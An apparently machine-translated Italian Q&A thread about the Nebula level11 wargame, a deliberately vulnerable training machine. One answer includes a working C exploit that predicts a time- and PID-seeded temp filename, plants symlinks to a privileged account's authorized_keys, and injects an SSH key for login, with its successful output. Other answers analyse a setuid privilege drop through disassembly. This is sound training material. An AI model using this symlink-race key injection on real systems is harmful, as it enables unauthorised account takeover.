Nebulosa level11: setuid non funziona

3

Sto cercando di risolvere il livello11 di Nebulosa 5 sulla piattaforma exploit-exercises.com .

Credo di aver avuto l'idea di base della sfida, in effetti puoi trovare numerosi report di questo livello su Internet:

Il problema si verifica quando si tenta di eseguire getflag , sembra che il bit setuid venga perso durante l'esecuzione. So che /tmp/ è montato con l'opzione nosuid e, quindi, non puoi inserire un programma suid su di esso. Ma non è stato il mio caso quando l'ho provato.

Mi chiedo se qualcuno possa dirmi cosa succede realmente qui e se si tratta di un bug non intenzionale in questa sfida e come aggirare il problema (possibilmente tramite root).

Mi sembra di non aver ancora compreso chiaramente il meccanismo del bit setuid in quanto sembra estremamente fragile quando si chiama system() .

Inoltre, alcuni resoconti menzionano il fatto che bash disabilita il bit setuid che mi sembra abbastanza dubbio (ho provato a eseguire setuid programmi e l'ho ottenuto per l'esecuzione). Qualcuno può dare qualche idea al riguardo, ne sarei anche contento.

Modifica

Come suggerito da Gilles, sto aggiungendo qualche altro dettaglio sul problema qui.

Quindi, in pratica, il modo più semplice per sfruttare questo livello è utilizzare il fatto che se imposti Content-Length su 1 (scrivi Content-Length: 1 su stdin ) e, quindi, digita una lettera (che viene tradotta in un altro da un processo deterministico). La stringa che ottieni non sarà nulla ( system() ) terminata e il contenuto della stringa sarà aggiunto al contenuto corrente della memoria. Quindi, l'intera stringa passerà attraverso la funzione D .

Il fatto è che è molto probabile trovare getflag caratteri in memoria e, quindi, essere in grado di chiamare la lettera che hai ricevuto come comando.

Quindi, devi solo impostare un collegamento simbolico da D a PATH (il software utilizzato per ottenere il flag di un livello) e aggiungere la posizione di getflag alla tua variabile /home/flag11/flag11 . Dovrebbe dare qualcosa del genere:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: DPo: command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D0@': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D0': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: D: command not found

Quindi, aggiungendo il link simbolico a setuid :

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
getflag is executing on a non-flag account, this doesn't count

Quindi, il problema è che il software level11 è flag11 con i seguenti diritti:

-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 /home/flag11/flag11*

Tieni presente che " utente malintenzionato " è setuid e " utente di destinazione " è level11 .

Tuttavia, sembra che il getflag bit non sia onorato dal programma e si ritorni a flag11 quando si esegue il programma /home/flag11/flag11 (ma si è %code% durante l'esecuzione di %code% .

Quindi, la mia domanda è "Perché?".

E, dovrei anche aggiungere il fatto che gli altri livelli sembrano funzionare correttamente. Significa che questo non è il primo exploit setuid su questo sistema, e tutti gli altri sembrano funzionare bene.

    
posta perror 19.09.2016 - 18:36
fonte

3 risposte

4

Come ho risolto Nebula Level 11

I file necessari si trovano sotto /home/flag11 diamo un'occhiata

level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11   100 2016-12-20 15:11 .
drwxr-xr-x 1 root   root      140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11     14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11    220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11   3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11     60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11    675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11     60 2016-12-20 15:07 .ssh

Questa piccola cartella .ssh solleva una sorta di segnale di allarme nel mio cervello. Forse ne avremo bisogno in seguito. Come puoi vedere, alcuni dei file sono stati recentemente aperti. Ciò è dovuto al mio attacco.

Il codice C allegato dell'esercizio è il seguente:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

Dopo aver analizzato questo codice Return a random, non predictable file, and return the file descriptor for it. . Quando qualcuno dichiara non prevedibile cerco di prevedere. Questo deve essere differito un po 'perché il resto del codice ha bisogno di ispezioni. Solo alcune osservazioni, sui vecchi sistemi Linux pid di un processo sono piuttosto prevedibili. Ovviamente anche srandom() seminato con il tempo è prevedibile.

Ok, c'è uno schema di crittografia XOR usato per decifrare il buffer in process e questo buffer decifrato viene passato al sistema. Okay, dobbiamo inserire alcune chiamate d'attacco qui. Dall'ispezione dei file abbiamo capito che questa è un'altra sfida di setuid bit, okay, sto diventando zoppo, pensavo. Francamente ero un po 'troppo ottimista.

Nella funzione principale il buffer di elaborazione è riempito da stdin e confrontato con un prefisso hard codificato niente di magico qui.

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  // ...
  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {

  //...
}

Le funzioni err usciranno dall'eseguibile quando vengono colpite. Per ignorare il seguente controllo if(fread(buf, length, 1, stdin) != length) { , la lunghezza passata a questo eseguibile deve essere una. In questo caso il codice iniettato è molto limitato. I test con numeri atoi e negativi sono sempre falliti. Poiché fread restituisce il numero di elementi letti e non il numero di byte, in questo caso ne restituisce sempre uno. Formare gli altri esercizi sapevamo che possiamo fingere la variabile PATH con un percorso che abbiamo sotto controllo. Quindi, abbiamo solo bisogno di iniettare un singolo carattere nella magica funzione process() . Il retro di XOR è piuttosto semplice. Potresti aver bisogno di alcuni tentativi per eseguire il tuo comando, questo perché l'intero buffer è passato a system . Il buffer si trova sulla pila di main e per questo è pieno di spazzatura. Ma le probabilità che abbiamo raggiunto uno zero nel secondo personaggio non è male. Ho già sentito il mio successo ma poi ho capito:

getflag is executing on a non-flag account, this doesn't count  

Questa volta non ero io a imbrogliare, ma gli autori di Nebula, il codice sorgente fornito, non menzionavano che avevano rimosso il setuid bit prima della chiamata al sistema. Questo è stato esposto dal comando strace .

getgid32()                              = 1012
setgid32(1012)                          = 0
getuid32()                              = 1012
setuid32(1012)                          = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180

Ok, sembra un vicolo cieco. Tornando al tavolo da disegno, l'idea SSH è spuntata di nuovo. Ma come possiamo usare la cartella .ssh . Questo è abbastanza facile, dobbiamo iniettare un file authorized_keys lì. Ma come si può ottenere senza setuid ?

  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);

}

Finora ho completamente ignorato il caso else del controllo della lunghezza buffer . È qui che entra in gioco il nome del file temp super top secret. Per ottenere il controllo del file, dobbiamo definire la variabile d'ambiente dalla shell su cui eseguiremo l'attacco più tardi:

export TEMP=/tmp

Ora è solo una questione di indovinare il PID della nostra vittima. Questo è facile, quando trasformiamo lo stdout nello stdin della vittima le probabilità sono alte, è solo più uno dei nostri. Altrimenti si potrebbe utilizzare popen() e iniettare il pid da ps | grep flag11 . La parte temporale è semplicissima perché è il tempo in secondi. Per ottenere una frequenza di successo stabile usiamo anche il nome del file per il secondo successivo. L'intero codice dell'attaccante assomiglia a questo:

int getrand(char **path, int pid, int time)
{
  char *tmp;
  int fd =  0;

  srandom(time);

  tmp = getenv("TEMP");
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));


  return fd;
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";

  int pid;
  int fd;
  char *path;
  FILE* stream;

  pid = getpid()+1;
  getrand(&path, pid, time(NULL));
  symlink("/home/flag11/.ssh/authorized_keys",path);
  getrand(&path, pid, time(NULL)+1);
  symlink("/home/flag11/.ssh/authorized_keys",path);
  fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}

La chiave ssh deve essere generata per prima. Mi ci sono voluti alcuni tentativi per completare quegli strani controlli con i colori. Forse è necessario verificare il formato della funzione time() per non incorrere in problemi di overflow. Al momento non mi è chiaro il motivo per cui non è necessario criptare il buffer. Forse qualche specialità della funzione mmap. Comunque con la chiave ssh iniettata puoi accedere all'account flag11 e ottenere il tuo flag.

level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ '/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

flag11@nebula:~$ getflag    
You have successfully executed getflag on a target account
flag11@nebula:~$
    
risposta data 23.12.2016 - 15:57
fonte
2

Bash non è coinvolto qui. La funzione system esegue sh , e su Ubuntu, sh non è bash, è trattino. A differenza di bash, dash non rilascia i privilegi. Se il codice sorgente mostrato su quella pagina è compilato e installato con il bit setuid, verrà eseguito come utente proprietario e il comando che esegue attraverso system viene eseguito anche come utente proprietario.

Non ho visto come è stato impostato l'esercizio. È possibile che tu abbia bisogno di leggere un file. Dato che il programma chiama system senza impostare PATH , puoi mettere un file con un nome breve in PATH per evitare di dover effettuare calcoli complessi sulla stringa che alla fine verrà passata a system . Rendi quel file uno script di shell che fa tutto il necessario per ottenere il flag, ad es. leggi un file o chiama il programma getflag .

    
risposta data 20.09.2016 - 02:19
fonte
0

Sembra che il file binario non corrisponda al codice sulla pagina.

$ gdb /home/flag11/flag11
$ (gdb) disass process
  0x080489c7 <+0>:  push   %ebp
  0x080489c8 <+1>:  mov    %esp,%ebp
  0x080489ca <+3>:  sub    $0x28,%esp
  0x080489cd <+6>:  mov    0xc(%ebp),%eax
  0x080489d0 <+9>:  and    $0xff,%eax
  0x080489d5 <+14>: mov    %eax,-0x10(%ebp)
  0x080489d8 <+17>: movl   $0x0,-0xc(%ebp)
  0x080489df <+24>: jmp    0x8048a0c <process+69>
  0x080489e1 <+26>: mov    -0xc(%ebp),%eax
  0x080489e4 <+29>: add    0x8(%ebp),%eax
  0x080489e7 <+32>: mov    -0xc(%ebp),%edx
  0x080489ea <+35>: add    0x8(%ebp),%edx
  0x080489ed <+38>: movzbl (%edx),%edx
  0x080489f0 <+41>: mov    %edx,%ecx
  0x080489f2 <+43>: mov    -0x10(%ebp),%edx
  0x080489f5 <+46>: xor    %ecx,%edx
  0x080489f7 <+48>: mov    %dl,(%eax)
  0x080489f9 <+50>: mov    -0xc(%ebp),%eax
  0x080489fc <+53>: add    0x8(%ebp),%eax
  0x080489ff <+56>: movzbl (%eax),%eax
  0x08048a02 <+59>: movsbl %al,%eax
  0x08048a05 <+62>: sub    %eax,-0x10(%ebp)
  0x08048a08 <+65>: addl   $0x1,-0xc(%ebp)
  0x08048a0c <+69>: mov    -0xc(%ebp),%eax
  0x08048a0f <+72>: cmp    0xc(%ebp),%eax
  0x08048a12 <+75>: jl     0x80489e1 <process+26>
  0x08048a14 <+77>: call   0x8048700 <getgid@plt>
  0x08048a19 <+82>: mov    %eax,(%esp)
  0x08048a1c <+85>: call   0x8048690 <setgid@plt>    // <---
  0x08048a21 <+90>: call   0x8048630 <getuid@plt>
  0x08048a26 <+95>: mov    %eax,(%esp)
  0x08048a29 <+98>: call   0x8048730 <setuid@plt>    // <---
  0x08048a2e <+103>:    mov    0x8(%ebp),%eax
  0x08048a31 <+106>:    mov    %eax,(%esp)
  0x08048a34 <+109>:    call   0x80486a0 <system@plt>
  0x08048a39 <+114>:    leave  
  0x08048a3a <+115>:    ret    

Sembra che la versione che ho ottenuto abbia privilegi prima di chiamare il sistema.

EDIT: aggiunta di ulteriori dettagli come richiesto.

Se guardi il codice C qui link

Quindi la funzione di elaborazione ha questo aspetto:

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

C'è solo una chiamata di funzione qui - system (buffer).

Se guardi / home / flag11 / flag11 con gdb (il frammento di codice sopra), puoi contare 5 chiamate: getgid, setgid, getuid, setuid, system. La versione compilata non corrisponde al codice sorgente sulla pagina web. Queste chiamate aggiuntive rilasciano i privilegi prima di chiamare il sistema. Potrebbe non essere possibile risolvere questa sfida.

Puoi accedere come utente 'nebulosa' (password 'nebulosa'), scaricare il codice da link , compilare e sostituisci / home / flag11 / flag11. Quindi puoi risolvere questo livello.

    
risposta data 02.12.2016 - 09:23
fonte

Leggi altre domande sui tag